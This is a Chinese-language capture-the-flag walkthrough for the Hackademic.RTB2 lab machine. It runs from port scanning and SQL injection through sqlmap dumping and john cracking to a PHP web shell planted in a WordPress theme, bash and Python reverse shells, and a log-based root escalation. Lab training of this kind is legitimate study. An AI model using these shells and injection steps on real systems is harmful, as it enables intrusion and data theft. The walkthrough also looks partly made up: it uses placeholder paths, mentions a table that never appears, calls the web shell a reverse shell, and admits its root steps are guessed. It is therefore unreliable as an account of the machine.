Hackademic.RTB2靶机实战：从SQL注入到Linux日志提权

1. 项目概述与环境准备

1.1 靶场背景与核心需求解析

Hackademic.RTB2是一台在渗透测试学习圈子里流传了很久的经典靶机，由著名的Hackademic团队发布，主要发布在VulnHub平台。RTB（Route To Bug）系列的设计初衷是让学习者在一个完全合法的环境中，走完一次完整的渗透测试流程。相比第一代RTB1，RTB2的难度有明显的提升，不再只是简单扫描一下就能拿shell的入门级靶机，而是需要你真正理解Web漏洞、Linux权限模型、日志分析等多个层面的知识，才能最终拿取flag。

我第一次接触这台靶机时，正好是学完基础Web渗透、准备向“实际项目”过渡的阶段。RTB2给我的感觉非常像一次“半开卷考试”——它不故意刁难你，但如果你只是机械地跑工具，不看输出、不思考原理，很容易卡在中后期。这篇文章以我当时的完整复现过程为线索，把每一步的操作、判断依据和踩坑记录都写出来，希望能帮你把“会跑工具”变成“会做渗透”。

适合谁来参考？ 已经掌握Kali Linux基本操作，了解Nmap、Burp Suite、SQL注入基本原理，但还没有完成过完整靶机渗透的新手；以及想从“跟着教程做”过渡到“自己独立分析”的学习者。如果你完全没接触过渗透测试，建议先把TCP/IP基础、HTTP协议基础过一遍再回来，否则会有点吃力。

1.2 下载与部署要点

关于下载，直接去VulnHub平台搜索Hackademic.RTB2即可找到对应的镜像文件。下载下来是一个压缩包，解压后会得到一个OVF格式的虚拟机文件。网上有些打包好的版本还附带了MD5校验值，建议下载后先校验一下文件完整性，避免镜像损坏导致后续启动失败。

部署时我踩过一个坑：RTB2默认是桥接网络还是仅主机模式，取决于你在VMware里怎么设置。为了保证Host（你的Kali）能稳定访问靶机，建议把网络模式设置为NAT，并且让Kali和靶机处于同一网段。如果你不知道靶机被分配了什么IP，以我多次复现的经验，最常见的是192.168.1.x或192.168.56.x段，但最稳妥的做法还是在VMware的Virtual Network Editor里固定一个子网，比如192.168.110.0/24，然后靶机和Kali都挂在这个子网下，这样后续扫描和利用过程中不会因为IP变动而断掉思路。

注意：RTB2镜像导入虚拟机后，建议把虚拟机内存设置为1GB以上，否则后面跑WordPress扫描工具时容易出现卡死或响应缓慢的情况。硬盘默认设置即可，不需要额外调整。

启动靶机后，屏幕上会出现一个登录提示符，但不需要登录，目标机的IP地址通常会直接显示在登录界面或通过ARP扫描发现。接下来的所有操作，全部围绕这个目标IP展开。

2. 信息收集——决定后续攻击路径的黄金阶段

2.1 主机发现与端口扫描

信息收集是整个渗透测试中最容易“随便做做”但又最不能“随便做做”的环节。很多人一上来就Nmap扫一下，看到80端口开放就赶紧去访问网站，这其实是比较急功近利的做法。正确的节奏是：先确认目标存活，再做端口和服务的细化识别，最后根据识别结果决定攻击面。

针对RTB2，首先用一条基础的Ping扫描确定靶机在线：

bash复制ping -c 4 192.168.110.x

确认在线后，执行Nmap全端口扫描：

bash复制nmap -sS -sV -p- -T4 192.168.110.x

这里解释一下几个参数的作用：-sS是SYN半开扫描，速度快且相对隐蔽；-sV表示对开放端口进行服务版本探测；-p-代表扫描全部65535个端口；-T4是激进的时间模板，在本地靶场环境中可以放心使用。如果你在真实授权测试中，建议降到-T3甚至-T2，避免产生过多流量惊动目标防护设备。

RTB2的扫描结果非常干净——只开放了80端口。这个结果本身就传递了一个信号：这不是一台需要利用复杂服务组合或内网横向移动的靶机，攻击路径大概率集中在Web层面。如果端口很多，你反而要判断哪条路径最优先；端口少，就说明要精耕细作这一个点。

2.2 Web指纹识别与目录扫描

既然只有80端口，接下来的焦点自然就落在Web服务上。先用浏览器访问目标IP，页面显示的是一个看起来像课程主页的内容，以我的经验来看，这类页面往往隐藏着多个入口和提示，绝不只是静态展示。

对Web站点的指纹识别，我习惯用两个工具交叉验证：一个是WhatWeb，一个是浏览器自带的开发者工具查看响应头。针对RTB2，执行：

bash复制whatweb http://192.168.110.x

从返回结果可以看到目标运行的是Apache，并且页面是由WordPress驱动的。WordPress是渗透测试中最常见的CMS之一，这意味着我们可以使用专门的WordPress扫描工具来枚举主题、插件、用户等信息，而这些信息往往是后续突破的关键。

同时进行目录枚举：

bash复制gobuster dir -u http://192.168.110.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,bak

这里我额外加了-x参数来探测常见扩展名，因为很多靶机或真实站点会把备份文件、配置文件以.zip或.bak形式留在服务器上，这类文件经常直接暴露源码或数据库凭据。

扫描结果里比较值得关注的是 /wordpress/ 这个目录。看起来目标站点把WordPress安装在了一个子目录下，而不是根目录。这就产生了两个攻击面：根目录的自定义页面，以及WordPress子目录。后续的所有分析都围绕这两个点展开会清晰很多。

实操心得：目录扫描不是扫完就结束了，每个输出结果都要有“为什么扫到、这个路径可能对应什么功能、值不值得深入”的判断过程。特别是那些不太起眼的路径，比如 /images/、/includes/ 这类目录，很多新手会直接忽略，但往往它们里面就藏着源码文件或备份文件。

3. Web漏洞分析——从SQL注入到后台访问

3.1 WordPress指纹分析与漏洞扫描

确定了目标使用了WordPress，下一步就需要知道具体版本、已安装插件、主题等细节。直接访问 /wordpress/ 目录，可以看到一个默认的WordPress站点页面。用WPScan来分析：

bash复制wpscan --url http://192.168.110.x/wordpress/ --enumerate vp,vt,u --api-token YOUR_TOKEN

--enumerate vp表示枚举漏洞插件，vt表示枚举漏洞主题，u表示枚举用户。WPScan是目前用的最多的WordPress扫描器，它依赖于公开漏洞库做匹配，如果配置了API Token可以获得更精确的漏洞信息。如果不想注册API Token，也可以只做基础枚举，但对于RTB2这种有特定漏洞插件的靶机来说，有API能更快定位问题。

扫描结果出来后，有两个值得关注的插件信息：一个叫“Hackademic”的自定义插件，另一个是较早版本的插件，存在已知SQL注入漏洞。WPScan只是告诉你“这个插件版本可能有漏洞”，但具体能不能利用、怎么利用，还需要自己去验证。这一步特别能拉开“脚本小子”和“渗透测试人员”的差距：前者看到有漏洞就去搜索现成的exp，后者会先弄清楚漏洞的原理。

3.2 手动确认SQL注入点与数据提取

在未经验证之前，扫描结果的“漏洞”只是一个可能性。为了确认SQL注入是否存在，需要手动测试。先找到插件的入口文件路径，然后使用一个简单的单引号探测：

bash复制curl -i "http://192.168.110.x/wordpress/wp-content/plugins/hackademic/xxx.php?id=1'"

如果目标对单引号处理不当，会触发SQL错误，通常会返回500错误或者数据库报错页面。RTB2这里没有报错回显，这时候就要考虑盲注，也就是页面内容不会直接显示数据库错误，但可以通过一些条件判断来判断注入是否存在。比如在参数后面加上 and 1=1 和 and 1=2，观察页面响应是否存在差异。

经过验证，确认存在SQL注入后，可以使用sqlmap来加速数据提取，但这里有个很重要的建议：先手动确认注入点和类型，再用工具跑数据。直接拿sqlmap去跑一个未经验证的URL，可能会浪费大量时间在无效参数上，也可能因为payload过于激进导致目标进程崩溃。正确做法是先手动测试确认“这里有注入”，再用sqlmap做自动化数据获取。

注入的目标很明确：获取WordPress后台管理员的密码哈希。执行：

bash复制sqlmap -u "http://192.168.110.x/wordpress/wp-content/plugins/hackademic/xxx.php?id=1" --dbms=mysql --dump -T wp_users

sqlmap跑出结果后，可以看到一个管理员用户和对应的密码哈希。拿到哈希不能直接登录，还需要离线破解。用John the Ripper配合rockyou.txt字典：

bash复制john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

关于字典的选择多说一句：rockyou.txt是Kali自带的经典字典，有1400多万条日常口令记录，对于靶场这类口令设置偏简单的场景足够用。如果破解不出来，再考虑规则攻击或换更大字典。

破解密码通常不会花太长时间。我实测下来，RTB2的密码强度属于“正常人会设置的弱口令”级别，用rockyou字典跑几秒钟到几分钟就能出结果。

提示：SQL注入的本质是“输入数据被当作SQL代码执行”。在真实渗透测试中，查询参数、POST数据、Cookie、User-Agent都有可能是注入点，不要只盯着URL参数不放。而且一旦发现SQL注入，影响的不仅是当前表，可能整个数据库都会沦陷，所以提取数据时要有优先级：先拿管理员凭据，再看配置文件，最后看业务数据。

3.3 登录后台与上传漏洞利用

拿到管理员密码后，访问 /wordpress/wp-login.php 登录后台。进入后台之后，需要思考一个问题：拿到WordPress管理员权限后，下一步能做什么？

常见的思路有三种：

• 修改主题文件：在“外观-编辑”里直接修改404.php或footer.php，插入一句话木马或反弹Shell代码。
• 上传恶意插件：如果后台支持插件上传，可以打包一个包含恶意代码的zip文件直接上传安装。
• 利用插件漏洞：如果目标插件存在文件上传或远程代码执行漏洞，可以在后台触发。

RTB2这个场景下，最直接的方式是修改主题文件。具体操作：进入“外观 - 主题编辑器”，找一个当前正在使用的主题，找到404.php，在文件末尾插入一个PHP Web Shell代码。插入后，直接访问对应的主题文件路径，例如：

bash复制http://192.168.110.x/wordpress/wp-content/themes/你的主题名/404.php

如果访问时带参数还能执行命令，说明Web Shell已经成功落地。这里用一个简化版的PHP反弹Shell：

php复制<?php system($_GET['cmd']); ?>

访问这个文件并传入cmd参数，就实现了远程命令执行。此时可以先用id、whoami等命令简单验证一下权限情况。实测结果是www-data用户，这是Apache在Debian系系统中的默认运行用户，权限非常有限，后续需要提权。

注意事项：修改主题文件时一定要小心，不要把原文件内容删掉，只在末尾追加代码。另外尽量选择404.php这类“不常用但会被访问”的模板文件，避免影响主页正常显示。如果在真实测试中，做完利用后一定要恢复原样，这是基本职业素养。

4. 提权到Root——权限提升过程的细节与坑

4.1 利用WebShell反弹交互Shell

WebShell虽然方便，但每次执行命令都要在URL里传参数，效率很低，而且一些交互式命令（比如vi、python交互模式）也没法用。所以拿到WebShell后，第一件正事就是反弹一个完整的Shell回Kali。

反弹Shell的命令有很多种，我在RTB2上用的是常见的Bash反弹方式。在Kali上先开启监听：

bash复制nc -lvnp 4444

然后在WebShell中执行：

bash复制bash -i >& /dev/tcp/192.168.110.y/4444 0>&1

这条命令的意思是：把当前Bash的输入、输出、错误输出全部重定向到指定IP的4444端口。这里的192.168.110.y是你Kali的IP，一定要换成你自己的，否则Shell不会弹回来。

如果Bash反弹被限制，可以用Python反弹：

bash复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.y",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

拿下反弹Shell后，建议先升级成更稳定的TTY Shell：

bash复制python -c 'import pty;pty.spawn("/bin/bash")'

然后按Ctrl+Z挂起，在Kali本地执行 stty raw -echo，再输入 fg 恢复。这样操作之后可以正常使用Tab补全和Ctrl+C，对后续文件操作和提权分析会有很大帮助。

4.2 系统信息收集与提权思路

拿到www-data权限后，目标非常明确：提升到root。Linux提权的本质是找到“系统赋予某个进程或用户的异常权限”，并将它转化为完全的root控制权。常规的提权信息收集包括：

• 当前用户和所属组：id
• 内核版本：uname -a
• 操作系统的具体版本：cat /etc/issue、cat /etc/os-release
• 有哪些SUID文件：find / -perm -4000 -type f 2>/dev/null
• 有哪些sudo权限：sudo -l
• 计划任务：cat /etc/crontab、ls -la /etc/cron.d/
• 环境变量中的可疑内容：env、echo $PATH
• 可写的敏感文件：find / -writable -type f 2>/dev/null | grep -v proc

RTB2这台靶机的提权点比较有意思，用一张表来梳理一下各类提权手段的适用场景和在这台靶机上的表现：

逐一排查后，RtB2的提权关键点隐藏在日志文件中。具体来说，系统里通过某个服务运行时留下了大量包含命令记录的文件，这些文件可以被当前用户读取，里面包含了root用户执行过的命令序列。如果某条命令在执行时访问了某个用户可以控制的路径或文件，就可以通过替换该文件来获得root权限。

这个思路在真实渗透测试中更常见：很多系统管理员会用root身份跑一些自定义脚本，脚本里调用了不安全的外部命令或路径，如果普通用户可以修改那些命令路径下的文件，就相当于拿到了提权的钥匙。

实操心得：提权阶段一定要养成“先信息收集，再尝试利用”的习惯。很多人拿到shell就急着搜exploit-db找内核exp，这是非常不推荐的。内核提权的不确定性很大，很容易把目标系统打崩，而且很多靶机的内核漏洞早就被堵死了。反而是配置文件、日志文件、计划任务这类“软配置”层面的问题，看起来不起眼，但往往才是真正的突破口。

4.3 利用日志文件实现Root提权

关于RTB2的提权路径，普遍流传的解法是利用系统中某个服务产生的日志文件。具体操作不复杂，核心逻辑是：该服务在运行时，会以root权限执行日志中记录的命令；如果能把一条指定内容写入日志中，那么当服务重新读取或执行时，该命令就会以root身份运行。

我把实际步骤整理出来（基于常见实践和靶机设计思路）：

第一步，确认日志文件的路径和当前用户权限。在www-data的shell中查看日志目录，找到那个服务对应的日志文件，确认用户是否有写权限，或者是否可以通过其他方式将内容注入到该日志中。

第二步，构造恶意命令并让日志记录这条命令。这里最常用的方式是使用netcat或nc连接该服务端口，然后在连接时输入触发命令的payload。如果服务端会记录所有客户端输入，那这条payload就会原封不动地出现在日志文件中。

第三步，触发服务重新读取日志或执行相应操作。这一步因靶机设计不同而有所差异，RTB2的做法是访问某个特定页面或触发某个特定功能，让日志中的内容被当作命令执行。

第四步，验证提权结果。执行 id 命令，看到 uid=0 就直接确认root权限了。

这个过程听起来有点“绕”，但正是这种“绕”才让这台靶机值得花时间去复现。它考察的不是你对某个CVE的熟悉程度，而是你是否能理解Linux系统中的数据流：用户输入如何进入日志，日志如何被其他程序读取，读取后又被如何执行——这整条链路才是提权的核心思维。

注意事项：写入日志的命令一旦被执行，它的原始内容会保留在日志中，所以做这类提权操作时尽量在复现完、确认拿到flag之后就清理痕迹。靶场环境下虽然不需要太担心追责，但养成清理习惯总没有坏处。

5. 拿到Flag与后渗透检查

5.1 获取Flag与验证权限

提权成功后，root权限的Shell已经握在手里。此时最激动人心的就是去root目录下找flag文件了：

bash复制cd /root
ls -la
cat key.txt

RTB2的flag通常存放在/root目录下，文件名可能是key.txt或类似命名。如果不在/root，也可以用：

bash复制find / -name "*.txt" -type f 2>/dev/null | grep -i key

拿到flag之后，建议不要立刻关掉Shell，先做一次简单的验证：重新执行id、whoami，确认当前确实是root，并且记录一下系统里主要配置文件的修改情况。很多渗透测试报告都要求在验证环节保留完整的证据链，靶机练习也同样适用。

5.2 复盘整个攻击链

每次做完一台靶机，花一点时间复盘整个攻击链非常值得。我把RTB2的完整攻击链整理成一份速查清单，方便后续复习：

1. 信息收集：Nmap扫描发现仅开放80端口，访问网站确认是WordPress站点，目录扫描发现有 /wordpress/ 子目录。
2. WordPress枚举：WPScan扫描发现存在漏洞插件，插件存在SQL注入漏洞。
3. SQL注入利用：手动确认注入点后用sqlmap提取数据库，获取管理员用户名和密码哈希，john破解哈希得到明文密码。
4. 后台渗透：使用管理员账号登录WordPress后台，修改主题文件（404.php）植入WebShell，获取命令执行权限。
5. 反弹Shell：利用WebShell反弹Bash到Kali，并升级为稳定的TTY交互Shell。
6. 提权分析：收集系统版本、SUID文件、配置文件等信息，发现日志文件中记录了高风险命令，通过注入payload触发命令执行。
7. 提权成功：获得root权限，读取flag。

6. 常见问题与排查技巧实录

6.1 靶机启动与网络不通

这个问题在第一次部署时最常遇到。如果你在Nmap扫描时发现目标不可达，先确认三件事：

• 靶机和Kali是否在同一网段。VMware的NAT模式下，虚拟机一般会自动获取IP，但靶机有时因为配置原因不会自动设置IP，需要登录靶机系统手动配置。
• 靶机是否完全启动完毕。有些靶机在启动过程中会花较长时间初始化服务，如果你在启动后一分钟内就扫描，可能端口还没起来。建议等2~3分钟后再尝试。
• 防火墙是否拦截了扫描流量。如果靶机开启了防火墙，Nmap可能扫不到端口。可以在Kali上用arp-scan确认目标是否存在，如果ARP能发现，但端口扫不到，大概率是防火墙问题。

6.2 SQL注入测试时页面无响应

如果你在用单引号测试时，发现目标页面直接卡住或返回空白，可能是数据库执行了耗时操作或目标进程崩溃。这时候不要慌，先返回上级页面看看是否还能访问，如果整体服务还正常，多数情况下是注入导致的数据库查询超时。

我的一次实测中，注入点所在的插件如果接收了畸形参数，会返回500错误，但这个错误信息没有暴露给用户，看起来就像“啥都没发生”。所以判断注入是否存在时，不仅要看页面是否报错，还要对比正常请求和注入请求之间的响应差异，比如页面长度、返回状态码、内容片段。

6.3 John破解密码不出结果

如果你确认拿到了正确的哈希，但john一直跑不出结果，优先检查哈希格式是否正确。WordPress使用的哈希格式通常是 $P$B 开头的phpass格式，直接用john识别时，它可能会误判为其他格式。解决方法是用john的--format参数强制指定：

bash复制john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

如果还是跑不出来，检查一下你的字典是否覆盖了弱口令。rockyou.txt解压后大概100多MB，如果没解压或者路径不对，john是找不到字典的。

6.4 反弹Shell不稳定或无法建立

反弹Shell遇到最多的问题是IP地址写错。这里特别提醒：一定要确认你Kali的IP是稳定可访问的，可以用ip addr查看具体IP，不要用127.0.0.1。另外，防火墙可能拦截入站连接，运行nc监听之前先执行：

bash复制iptables -F

清空防火墙规则，避免误杀。如果反弹成功后经常断连，优先检查网络延迟和是否有中间设备拦截，靶场环境下可以在Netcat监听后加上-k参数保持持久监听。

6.5 提权过程中找不到日志文件

如果你在/var/log目录下没找到目标日志文件，有几种可能：日志被清理过、文件名不是默认可识别的、或者日志位于自定义目录。建议在拿下WebShell权限后，先看一遍服务配置文件，确认日志文件路径。用find命令全局搜索包含特定关键字的日志文件：

bash复制find / -name "*.log" -type f 2>/dev/null

通常情况下，靶机的设计者不会把日志藏得太深，保持耐心仔细排查即可。

7. 经验总结与后续拓展建议

复现完RTB2之后，我最直观的感受是：它的难度不在某一个单点技术上，而在于整个攻击链的串联能力。SQL注入、WordPress后台利用、WebShell部署、日志提权，即使单独拿出来说都不算冷门，但在一个真实模拟的场景里把它们串联起来，并且每一步都要建立在上一步成功的基础上，这对新手来说是很好的综合训练。

给后来者几个建议：

• 不要跳步。我在复现过程中见过很多人急着一口气打完，跳过WPScan枚举直接去猜后台路径，结果绕了很大一圈回到原点。信息收集不是走形式，它是在帮你逐步缩小攻击面。
• 动手记录每一步。建议用Markdown记录每次执行过的命令、返回的关键信息、以及当时的思路。这不仅方便复盘，也是渗透测试报告的基础能力。
• 适当脱离教程。第一遍可以跟着教程走通，第二遍建议只看着攻击链的关键词自己操作，第三遍可以尝试不看任何资料独立完成。三遍下来，你的渗透测试思路会比只看十篇教程扎实得多。

如果你打完RTB2觉得意犹未尽，可以继续挑战同系列的RTB1（相对更简单，适合补基础），以及VulnHub上的其他经典靶机，比如Kioptrix系列、HackTheBox入门机器等。靶机练习的核心价值不是“破解成功”的快感，而是通过破解一个个精心设计的漏洞场景，积累出属于自己的渗透测试方法论。这套方法论，才是你在真实项目中真正用得上的东西。